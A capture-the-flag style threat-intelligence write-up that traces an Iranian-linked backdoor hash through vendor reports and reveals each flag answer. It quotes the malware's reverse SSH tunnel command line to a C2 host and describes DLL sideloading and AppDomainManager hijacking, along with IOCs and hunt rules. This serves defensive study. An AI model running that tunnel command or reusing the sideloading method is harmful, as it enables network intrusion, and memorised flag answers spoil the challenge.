// BTLO  ·  writeup

Mirage Kitten

BTLO Easy APTTITA

Scenario

Karim Adel, a maintenance planning engineer at the Cairo contractor Meridian Nile Aviation Services, had nothing unusual to report when his workstation came up in a retrospective sweep in early November 2026. The sweep returned one file hash and little else: the file itself was gone, and nobody could say whether it had ever run. The case reached Nadia Fahmy’s threat intelligence desk with that hash and access to public sources. Public reporting exists under many names. It does not always agree, and when several reports agree, they are not always independent. Before tomorrow’s security review, Nadia needs to know whose tooling this is, what else the team should hunt for, and which published claims they can defend. File MD5 Hash: A239E655709A2518DD0B7BDBED163679

Executive Summary

The orphaned hash resolved to a Kaspersky-documented backdoor from the Iranian cluster Kaspersky tracks as Mirage Kitten (UNC1549), built to be sideloaded as a Windows security DLL beside a signed App-V binary. Its C2 tasking parser descended from an earlier backdoor Mandiant documented in late 2025, and the same seed report exposed two WebSocket tunnelers whose enterprise proxy traversal matched the backdoor Check Point and Unit 42 published under different names during the 2026 conflict. Group-IB enrichment tied the seed’s lone IP to a reverse SSH tunneler disguised as a terminal services DLL, followed the tunneler config domain into a country-labelled VPS fleet concentrated on one hosting ASN, and conceded that no samples linked to that fleet. Securelist’s follow-up added two cross-platform RATs that reuse the native backdoor’s HTTP handshake, and Nextron’s incident write-up exposed a stager’s scheduled task and a build path naming the impersonated victim brand. The hunt package is strong at the file and host level; the infrastructure map and vendor IOC overlap are the parts that need careful framing in the review.

Artifacts

The only artifact is the hash. Everything else came from these public reports, listed in the order they were used:


Seed Identification

Q1 — Start with MD5 A239E655709A2518DD0B7BDBED163679. Give the malware family and the legitimate DLL name it masquerades as.

A quoted search on the hash lands on aggregator mirrors (HivePro, cyfar.ca) that all trace back to the Securelist seed report. Go to the original: the IOC section lists the MD5 against the backdoor family and the filename it is dropped as, and the technical section explains why that name was chosen. The DLL is placed beside AppVShNotify.exe so the signed App-V binary loads it through search-order hijacking. Note the C2 pair (realhealthshop[.]com, fallback tjconsultingservices[.]com) and mutex A8215357-F99A-44FE-BC65-D8F0434B0C03 here, as they are the host and network hunt pivots for the case.

Tip: Aggregators reformat filenames and sometimes drop the family label. Take both values from the seed report, and submit lowercase per the mask.

Click flag to reveal nightledger, sspicli.dll
Q2 — Its C2 parsing resembles an older backdoor from the same actor. Give that backdoor and the publication date of the report the seed write-up cites for it.

The seed report’s backdoor analysis compares its tasking parser to an earlier implant from the same actor: the older one hex-encodes the C2 response and splits fields on @##@, while the new one tokenises on #%%#. The report links out to Google’s UNC1549 analysis for the older family but never states that post’s date, so open the cited page itself and read the date from the byline.

Click flag to reveal TWOSTROKE, 2025-11-17

Attribution and Naming

Q3 — Give the names Palo Alto Networks and Microsoft use for this cluster.

The seed report links to Unit 42’s tracking post for related tradecraft. Its executive summary opens with Unit 42’s own name for the group and an aka list (UNC1549, Iranian Dream Job, and Microsoft’s weather-style name). Microsoft’s taxonomy uses a “Sandstorm” suffix for Iranian actors, so the alias carrying that suffix is the Microsoft name.

Screenshot: Unit 42 executive summary with the group name and the aka list highlighted.

Click flag to reveal Screening Serpens, Smoke Sandstorm
Q4 — One follow-up publication uses a different actor name that other sources treat as a linked but separate group. Give that name and Microsoft's name for it.

Searching the seed’s lone IP surfaces press coverage of Group-IB’s follow-up, which explicitly started from the Securelist reporting. Group-IB tracks the activity under a long-established IRGC-linked name and folds Mirage Kitten, UNC1549 and Nimbus Manticore into it. Most other vendors keep that group separate from UNC1549, and Microsoft tracks it under its own Sandstorm name (formerly Curium). That disagreement is exactly the naming problem the scenario warns about.

Gotcha: The follow-up does not give Microsoft’s name. You need to map the Group-IB name to Microsoft’s taxonomy yourself.

Click flag to reveal Tortoiseshell, Crimson Sandstorm

Tunneler Tradecraft

Q5 — The seed report publishes exactly one IP address. Later research tied a Windows sample to it. Give that sample's SHA-256.

The seed IOC list has one IP, 172.86.98[.]113. In the Group-IB follow-up, that IP is hardcoded in a reverse SSH tunneler disguised as wtsapi32.dll, which forward-exports the legitimate functions and shells out to the native Windows OpenSSH client. The body text only gives the MD5 (07dd28b748656e9e1a870c538d6df68c). Take the SHA-256 from the IOC table, where it is listed against the tunneler.

Gotcha: GBHackers’ summary of the same research only prints MD5s. Go to Group-IB’s original for the SHA-256.

Click flag to reveal d23c1b7b917f53e4e5a608e9870e574f7461eead277726249c4acf4a2b0bef4b
Q6 — That sample tunnels back through a remote forwarded port. Give that port, then the port in the older public example of the same tradecraft.

Group-IB reconstructs the command the tunneler builds. It runs ssh.exe as root against the C2 on 443, disables host-key checking, and requests a remote forward, so anything hitting that localhost port on the operator’s box is relayed into the victim network. Group-IB says this matches tradecraft Google documented for UNC1549. Figure 9 of the Google post shows the older command line with the same flag set and a different -R port.

C:\windows\system32\openssh\ssh.exe [email protected] -p 443 -i C:\Windows\System32\config\systemprofile\ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -R <port>

Hint: Port 443 shows up in both commands but it’s the SSH listener on the C2, not the forwarded port. Read the number after -R.

Click flag to reveal 1081, 1070

Backdoor Lineage

Q7 — The report on the older backdoor and a later report on a sample resembling it number their commands differently. Give the list-directory command ID in the later report, then the older one.

Group-IB’s second wtsapi32.dll sample closely resembles the Q2 backdoor: dynamic API resolution, runtime string decryption, WinHTTP C2 from a worker thread, and the @##@ delimiter. Put Group-IB’s command table next to Google’s. Both list the same eight capabilities in the same order (upload, execute, DLL in memory, download, username, hostname, list directory, delete), but Group-IB starts numbering at 0 and Google starts at 1, so every ID is off by one.

Tip: Once you notice the 0-based and 1-based offset, you can predict every other command ID without rereading either table.

Click flag to reveal 6, 7
Q8 — A host's fully qualified name is FIN-WS07.meridian.lcl. Treat it as ASCII and calculate the victim identifier using the later report's description of that resembling sample. Reverse by hex character.

Group-IB describes the routine as follows: GetComputerNameExW(ComputerNameDnsFullyQualified), XOR with the repeating key Pn, hex-encode, then reverse the trailing two-thirds of the hex string. The 21-character FQDN gives 42 hex characters, so the first 14 stay in place and the last 28 are reversed character by character. Google’s description of the older backdoor (first 8 hex characters, reversed) is a different routine, which is why the question pins it to the later report.

python3 -c "s=b'FIN-WS07.meridian.lcl';k=b'Pn';h=bytes(c^k[i%2] for i,c in enumerate(s)).hex();t=len(h)//3;print(h[:t]+h[t:][::-1])"

Gotcha: Using Google’s take-first-8-and-reverse routine produces an 8-character ID that looks plausible but is wrong. The question is asking for the full-length string from Group-IB’s routine.

Click flag to reveal 16271e43073d60c3d0c304e3f093a093c15330e795

Infrastructure Pivots

Q9 — Follow the domain embedded in the tunneler configuration to its published host. Give the IP and that host's infrastructure label.

The reverse SSH tunneler has no domain, only a hardcoded IP. The tunneler with an embedded config is the seed report’s WebSocket tool: its config block holds the C2 host aecert[.]org, port 443, a 5000 retry value, SSL flag 0 and an implant GUID. Group-IB pivoted from that domain, resolved it, and found the IP as a labelled subdomain node in their locat[.]sbs / tiktok-u[.]sbs table.

Gotcha: Group-IB’s text and IOC table disagree on the last octet of a neighbouring 185.253.116.x address, and press coverage repeated both versions. Use the IP from the infrastructure table row whose label matches.

Click flag to reveal 185.253.116.81, uae8
Q10 — One autonomous system dominates that infrastructure map. Give its ASN and how many listed nodes it hosts.

Count the ASN column in Group-IB’s 26-row table. One HZ Hosting ASN holds almost all of the uae* and every sau* node. The other rows are spread across HZ’s regional ASNs (UK, CA), Melbicom, Vultr, Beltelecom, TimeWeb, Cloud.ru and WAIcore. Count only the exact ASN, not the HZ sister ASNs.

Gotcha: One uae* node sits on Melbicom, and the UK and Canada nodes are HZ-branded but use different ASNs. Neither belongs in the count.

Click flag to reveal AS59711, 16
Q11 — The largest label group suggests one country. How many of its nodes does the same table place in that country?

The uae1 through uae14 labels are the biggest group and suggest the Emirates, but the country column says otherwise for most of them. The uae* rows geolocate to Saudi Arabia, Romania, France, or have no country listed, and only a small number actually sit in the UAE. Group-IB notes that country-themed labels alone cannot establish targeting, which is the point of this question.

Click flag to reveal 2
Q12 — One node exposes a named management panel. Give the panel and port.

Every node shows the same baseline (Caddy on 80, 443, TLS on 2222), which looks like a templated build. Scan the services column for anything beyond it: Prometheus exporters, a SOCKS5 proxy, Node.js and uvicorn APIs, and RDP/WinRM on the Vultr box. Only one of those extras is a named admin panel. It is a proxy-management UI, which fits a fleet built to relay traffic.

Click flag to reveal 3x-ui, 2053
Q13 — How many malware samples, if any, does the team that published this map itself identify as related to these nodes? Do not count other vendors' samples.

Read Group-IB’s own wording under the infrastructure section. They state outright that they have not found related samples for the locat[.]sbs fleet. The two samples they do publish (the reverse SSH tunneler and the resembling backdoor) talk to 172.86.98[.]113 and the neexportfolio domains, not to these nodes. The fleet’s link to the actor rests on a single domain pivot, which matters when deciding which claims the review can defend.

Gotcha: Counting the two Group-IB samples, or the seed report’s hashes, is the trap. Neither is tied to these nodes.

Click flag to reveal 0

Vendor Overlap

Q14 — The seed report says one tunneler's proxy logic overlaps with a backdoor known under two public names. Give both names, Check Point's first.

The seed report describes the WebSocket tunneler’s proxy handling (407 triggers Negotiate then NTLM, SSO credentials, three retries, backoff capped at 60s) as mirroring a backdoor Kaspersky tracks internally as Retrograde. It then maps Retrograde to the public names used in the Check Point and Unit 42 reports. Confirm which vendor uses which name in each report.

Gotcha: Retrograde is Kaspersky’s internal name, not one of the two public names the question wants.

Click flag to reveal MiniFast, MiniUpdate
Q15 — Compare those two vendors' published SHA-256 IOC lists, ignoring letter case and removing duplicates. How many unique Palo Alto hashes also appear in the Check Point list?

Pull every SHA-256 from Unit 42’s IOC section and Check Point’s 27-hash list, lowercase both, and dedupe. Unit 42 lists the UAE UpdateChecker.dll twice (UAE and Middle Eastern campaigns) and capitalises the first character of one unbcl.dll hash, which is why the question specifies case-folding and dedup. Then intersect the two sets. Every unique Unit 42 hash appears in Check Point’s list, so the two “independent” same-day reports are largely built on the same sample set.

python3 -c "pa={l.strip().lower() for l in open('pa.txt') if l.strip()};cp={l.strip().lower() for l in open('cp.txt') if l.strip()};print(len(pa),len(pa&cp))"

Gotcha: Counting raw lines gives 13 Palo Alto hashes. You need to dedupe and lowercase before intersecting.

Click flag to reveal 12
Q16 — One RAT in that activity refuses to run before a hard-coded moment. Give that timestamp in UTC.

Check Point’s anti-analysis checks are about execution chain (host process update.exe, parent svchost.exe), not time. The date gate is in Unit 42’s report, on the Connection.dll RAT from the MiniJunk V2 U.S. campaign. It exits unless the system clock is past a hardcoded moment, which lines up with the day the sample first appeared on VirusTotal. That makes it an execution guardrail against sandboxes that run samples with a backdated or default clock.

Click flag to reveal 2026-03-27 13:30:00

Cross-Platform Families

Q17 — A later cross-platform family includes a build that derives its single-instance port from the agent ID. If the ID begins a3f1, which port does it bind?

The Securelist follow-up covers a Node.js RAT with two single-instance variants. Variant 1 binds a fixed localhost port. Variant 2 takes the first four hex characters of the agent ID as an integer and binds 41984 + (value mod 5000) on localhost, which keeps it in the 41984–46983 range. If the bind fails, it assumes another instance is running and exits.

python3 -c "print(41984 + int('a3f1', 16) % 5000)"

Hint: The variable-port build makes for a nice hunt: a node.exe listening on 127.0.0.1 somewhere in that range.

Click flag to reveal 43953
Q18 — Another cross-platform family shares an unusual handshake behavior with the native backdoor from Q14. Give the family and the HTTP status treated as success.

The same follow-up compares its JavaScript RAT directly to Retrograde/MiniFast. Registration is a POST to /beacon, and the implant treats an HTTP error code carrying a socketId as a successful registration. Both families also share beacon defaults (120,000 ms poll, 5,000 ms jitter, 60,000 ms retry) and declare command IDs 0xB0 and 0xB1. Hosts register as 129--<hostname>.

Click flag to reveal PollCat, 400

Incident Response Pivot

Q19 — One Check Point hash belongs to a stager later examined by incident responders. Give the scheduled task it creates and the argument that task passes.

Search the Check Point SHA-256s one at a time. eee657ffdb2af8ed6412221e7d5fbf4f5742f2ac2c88f43f12db46af0697de71 appears as the hash metadata in Nextron’s YARA rules, which came out of an incident they handled. The stager is TOTPGuard.dll, delivered through a fake 2FA app and AppDomainManager hijacking of a renamed ServiceHub.VSDetouredHost.exe. It copies itself to %AppData%\Roaming\2FAGuard\setup.exe and uses the Task Scheduler COM API to register a hardcoded logon task, at least privilege, that relaunches it with a single argument.

Gotcha: WindowsSecurityUpdate and ZoomUpdateTaskUser-<SID> are MiniFast persistence from Check Point’s report, not this stager’s.

Click flag to reveal BackupCheck, doit
Q20 — A detection rule from that incident exposes a build-path scenario name. Which company name appears in it?

Read the strings in MAL_APT_Nimbus_Manticore_Stager_May26. One of them is a fragment of the developer’s project path: an AppDomainInjection-<company>Scenario folder above TOTP. The operators named the build after the brand they were impersonating for this lure, which puts the targeted organisation’s name straight into the binary.

Gotcha: MyCompany in the $x1 salt string is boilerplate, not a real company.

Click flag to reveal metlife

Attack Summary

PhaseAction
Resource DevelopmentCountry-labelled VPS fleet built on HZ Hosting (locat[.]sbs, tiktok-u[.]sbs) with templated Caddy/2222 builds and a 3x-ui proxy panel
Initial AccessCareer-themed lures (fake hiring portals, 2FA app, Zoom installer) and SEO-poisoned fake SQL Developer downloads
ExecutionAppDomainManager hijack of renamed signed .NET hosts loads the TOTPGuard.dll stager and MiniFast/MiniJunk V2 payloads
Defense EvasionExecution guardrails: Connection.dll date gate, BridgeHead username substring check, MiniFast parent-process validation
PersistenceScheduled tasks BackupCheck (setup.exe doit), WindowsSecurityUpdate, hijacked ZoomUpdateTaskUser-<SID>
Persistence / Defense EvasionNightLedger sideloaded as SspiCli.dll by AppVShNotify.exe
Command and ControlNightLedger HTTPS tasking with #%%# field tokens; TWOSTROKE-like backdoor with @##@ and XOR Pn victim ID
Command and ControlBridgeHead and ArcBridge WebSocket tunnelers through enterprise proxies (Negotiate/NTLM, SSO creds)
Command and Controlwtsapi32.dll tunneler drives native ssh.exe to 172.86.98[.]113:443 with -R 1081 reverse forward
Command and ControlNodeRabbit and PollCat cross-platform RATs reuse MiniFast handshake and beacon timing

Forensic Timeline

TimestampEvent
2025-11-17Google/Mandiant publishes UNC1549 analysis (TWOSTROKE, reverse SSH -R 1070)
2026-02-28Operation Epic Fury begins; Check Point and Unit 42 track wartime activity
2026-03-27 13:30:00Hardcoded earliest-run moment in Unit 42’s Connection.dll RAT
2026-04ArcBridge first seen targeting the Middle East (Securelist)
2026-05-22Check Point and Unit 42 publish same day with overlapping SHA-256 sets
2026-06-01Nextron publishes incident-derived stager analysis and YARA rules
2026-07-28Securelist seed report: NightLedger, BridgeHead, ArcBridge
2026-08-26Group-IB follow-up: reverse SSH tunneler, TWOSTROKE-like backdoor, infrastructure map
2026-09-01Securelist follow-up: NodeRabbit and PollCat
2026-11 (early)Retrospective sweep flags NightLedger MD5 on the Meridian Nile workstation

IOCs

TypeValue
MD5 (NightLedger, sspicli.dll)A239E655709A2518DD0B7BDBED163679
MD5 (ArcBridge)5FA15EF96808EA82F0A6176F0BB4B386, 42F847597109DA2A220391BB09D00676, AFB1C1583606599C7272CFB33CC6F498
MD5 (BridgeHead)6038D42AF0AFFD1FB263F470C0956F6B, AE628EFA305387B633DCE82F9364875B, F7D36CC5904A53252D2BB3D21615134F, C90F0EFADBF322E5EB1C4103A38C30E6, D09B14A2FE01C7363ECC56F5D046162C
SHA-256 (reverse SSH tunneler, wtsapi32.dll)d23c1b7b917f53e4e5a608e9870e574f7461eead277726249c4acf4a2b0bef4b
SHA-256 (TWOSTROKE-like backdoor, wtsapi32.dll)597c40e0b23f38f30a3c85be0510b14985b2948895819c899e3f3c8f200aa437
SHA-256 (TOTPGuard.dll stager)eee657ffdb2af8ed6412221e7d5fbf4f5742f2ac2c88f43f12db46af0697de71
SHA-256 (Connection.dll date-gated RAT)43dc62cef52ebdd69e79f10015b3e13890f26c058325c0ff139c70f8d8eadcfa
IP (reverse SSH C2)172.86.98[.]113
IP (uae8, aecert pivot)185.253.116[.]81
Domain (NightLedger C2)realhealthshop[.]com, tjconsultingservices[.]com
Domain (ArcBridge C2)aecert[.]org
Domain (BridgeHead C2)smartconnect.azurewebsites[.]net, businessmixture[.]com
Domain (backdoor C2)neexportfolio[.]com, neexportfolio.azurewebsites[.]net, neexportfolio.eastus.cloudapp.azure[.]com
Domain (infrastructure)locat[.]sbs, tiktok-u[.]sbs
URL path (NightLedger)/edfcvfgbhnjmkqwasderfgg, /wsdefvvbnhyuijkplmbgfrtt, /qasxcdfvgbhnmyuioplkhnj
Mutex (NightLedger)A8215357-F99A-44FE-BC65-D8F0434B0C03
Mutex (ArcBridge)F56E68DA-4A89-46B4-9AC8-7290A7651000
Scheduled taskBackupCheck (setup.exe doit), WindowsSecurityUpdate
File path%AppData%\Roaming\2FAGuard\setup.exe
File path%LocalAppData%\Microsoft\VisualStudio\unbcl.dll

MITRE ATT&CK

TechniqueIDDescription
Phishing: Spearphishing AttachmentT1566.001Fake recruitment archives and 2FA app lures deliver the stager chain
Stage Capabilities: SEO PoisoningT1608.006Fake SQL Developer download sites ranked to deliver MiniFast
Hijack Execution Flow: DLL Search Order HijackingT1574.001NightLedger loaded as SspiCli.dll by AppVShNotify.exe; tunnelers as unbcl.dll/wtsapi32.dll
Hijack Execution Flow: AppDomainManagerT1574.014Modified setup.exe.config forces signed .NET hosts to load the stager
Masquerading: Match Legitimate Name or LocationT1036.005Implants named after Windows DLLs and placed in VisualStudio and VPN client folders
Scheduled Task/Job: Scheduled TaskT1053.005BackupCheck, WindowsSecurityUpdate and hijacked Zoom update task
Execution Guardrails: Environmental KeyingT1480.001BridgeHead username substring check and the Connection.dll date gate restrict execution
System Information DiscoveryT1082FQDN-derived XOR victim identifier and host profiling
File and Directory DiscoveryT1083List-directory command in the TWOSTROKE lineage
Application Layer Protocol: Web ProtocolsT1071.001HTTPS and WebSocket C2 over 443 through Azure Web Apps
Protocol TunnelingT1572Native OpenSSH reverse forward and WebSocket tunnels into the victim network
Proxy: Internal ProxyT1090.001Tunnelers relay operator traffic into internal segments via the forwarded port
Exfiltration Over C2 ChannelT1041Upload commands push files to the C2 over the existing channel

Defender Takeaways

Hunt for signed binaries loading system DLL names from the wrong path. NightLedger works because AppVShNotify.exe resolves SspiCli.dll from its own directory before System32. Sysmon EID 7 for sspicli.dll, wtsapi32.dll, unbcl.dll or iphlpapi.dll loading from anywhere other than C:\Windows\System32 or SysWOW64 is a high-fidelity rule. Since the file on the Meridian Nile host is already gone, run the hunt against historical image-load telemetry.

Treat native ssh.exe with -R as an alert, not a curiosity. The tunneler and the older UNC1549 example both run C:\Windows\System32\OpenSSH\ssh.exe with StrictHostKeyChecking=no, UserKnownHostsFile=/dev/null, -p 443 and a remote forward. Almost no workstation has a legitimate reason to do that, especially when the parent is a DLL-hosting process rather than a user shell. Alert on the command line, and block outbound SSH protocol on 443 at the proxy.

Audit scheduled tasks and .NET config files, not just binaries. BackupCheck running %AppData%\Roaming\2FAGuard\setup.exe doit, WindowsSecurityUpdate, and modified ZoomUpdateTaskUser-<SID> tasks all outlive the dropper. A *.exe.config that declares appDomainManagerAssembly next to a renamed Microsoft binary is enough by itself to start an investigation.

Detect the C2 by behaviour, because names change every quarter. The family names rotate (MiniFast, MiniUpdate, Retrograde, PollCat, NodeRabbit), but some behaviour is stable: HTTP 400 being treated as successful registration, a 120s/5s beacon cadence, WebSocket /connect with a literal token, and node.exe holding a localhost listener in 41984–46983. Write proxy and EDR detections against those, and keep the hash lists as supporting evidence.

Brief the review on which claims are independently corroborated. File-level attribution of the hash to this cluster rests on Kaspersky’s sample analysis and is defensible. The Check Point and Unit 42 IOC sets overlap almost completely, so they count as one evidence base rather than two. Group-IB’s infrastructure map is tied to the actor by a single domain pivot, has no samples of its own, and its country labels contradict its geolocation. Block those nodes, but don’t present them as confirmed targeting of Egypt or the Gulf.

Conclusion

One orphaned hash was enough to rebuild an IRGC-linked toolchain spanning sideloaded backdoors, proxy-aware tunnelers, native reverse SSH and cross-platform RATs. The hardest part was not finding reports, though. It was recognising that most of them were built on each other’s data. The sound hunt package is the host-level behaviour (sideload paths, ssh.exe -R, task names, the HTTP 400 handshake), and the infrastructure attribution should be presented with caveats.